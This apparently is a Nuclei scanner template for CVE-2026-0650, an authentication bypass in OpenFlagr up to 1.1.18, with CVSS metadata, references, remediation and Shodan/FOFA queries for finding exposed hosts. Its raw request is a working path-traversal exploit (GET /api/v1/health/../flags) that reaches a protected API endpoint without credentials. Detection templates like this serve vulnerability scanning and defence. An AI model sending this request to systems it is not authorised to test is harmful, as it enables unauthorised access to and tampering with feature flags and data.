id: CVE-2026-0650 info: name: OpenFlagr <= 1.1.18 - Authentication Bypass author: str4k3r severity: critical description: | OpenFlagr <= 1.1.18 contains an authentication bypass caused by improper path normalization handling in HTTP middleware whitelist logic, letting attackers access protected API endpoints without valid credentials, exploit requires crafted requests. impact: | Attackers can bypass authentication to modify feature flags and export sensitive data, compromising system integrity and confidentiality. remediation: | Update to the latest version beyond 1.1.18. reference: - https://github.com/advisories/GHSA-rwp9-5g7q-73q3 - https://github.com/openflagr/flagr/commit/fe83dc87aa404a57554aa5839ac450f55c203570 - https://dreyand.rs/code%20review/golang/2026/01/03/0day-speedrun-openflagr-less-1118-authentication-bypass - https://nvd.nist.gov/vuln/detail/CVE-2026-0650 classification: cve-id: CVE-2026-0650 epss-score: 0.01316 epss-percentile: 0.68903 cwe-id: CWE-22 cvss-score: 9.3 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N metadata: vendor: openflagr product: flagr verified: true max-request: 1 shodan-query: http.html:"Flagr" fofa-query: body="Flagr" tags: cve,cve2026,openflagr,authbypass,unauth,traversal http: - raw: - | GET /api/v1/health/../flags HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(body, "\"dataRecordsEnabled\"", "\"variants\"", "\"key\"")' condition: and # digest: 4a0a00473045022100dcbe40b261a701257ee04a26d17d5a25136fc6effa76cb469d54993e627ec7fd0220517631f660b2cce37ac088591d224d4e2a1c20e527f3fb06168386054d9b9911:922c64590222798bb761d5b6d8e72950